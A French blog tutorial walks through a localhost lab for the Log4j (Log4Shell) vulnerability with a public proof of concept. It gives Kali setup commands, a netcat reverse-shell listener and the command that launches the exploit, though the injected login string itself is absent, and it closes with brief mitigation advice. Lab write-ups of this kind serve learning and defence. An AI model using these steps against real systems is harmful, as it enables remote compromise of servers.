Exploitation de la vulnérabilité LOG4J

Aujourd’hui nous allons voir ensemble comment exploiter la vulnérabilité LOG4J afin de compromettre une machine vulnérable.

Pour cet atelier, je me suis basé sur une application web vulnérable disponible sur github :

https://github.com/kozmer/log4j-shell-poc

Pour installer cet atelier, j’utilise une machine Kali Linux. Je télécharge préalablement le fichier du POC depuis github.

Depuis le dossier, on installe les prérequis :

pip install -r requirements.txt

On télécharge ensuite l’archive java sur la machine :

https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html

Déplacez le contenu de l’archive java dans votre dossier POC :

Décompressez ensuite le fichier .tar.gz

tar -xvzf jdk*

Pour respecter les pré-requis du POC, vous devrez renommer votre version de java pour correspondre à 1.8.0_20

Je l’ai renommé avec la commande mv :

On ouvre ensuite un listener sur le port 9001 pour accepter le reverse shell :

nc -lvnp 9001

On lancera ensuite l’exploit sur la machine victime :

python3 poc.py --userip localhost --webport 8000 --lport 9001

Le script met en place un serveur web vulnérable.

On installe docker pour faire tourner le serveur vulnérable :

apt install docker.io

docker build -t log4j-shell-poc .

docker run --network host log4j-shell-poc

Votre lab devrait alors être déployé et fonctionnel. On ouvre la page web vulnérable à l’adresse localhost:8080

Dans le champ login, on peut insérer l’argument invalide suivant pour obtenir un shell à distance sur l’application :

Sur le listener, on récupère bien un shell à distance, ici, j’ai exécuté la commande whoami.

Pour vous prémunir contre ce type d’attaques, vous pouvez mettre à jour votre composant apache. Vous pouvez également filtrer les arguments utilisateurs afin de mitiger l’attaque.


Sources :

Github : POC

Archive Oracle

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *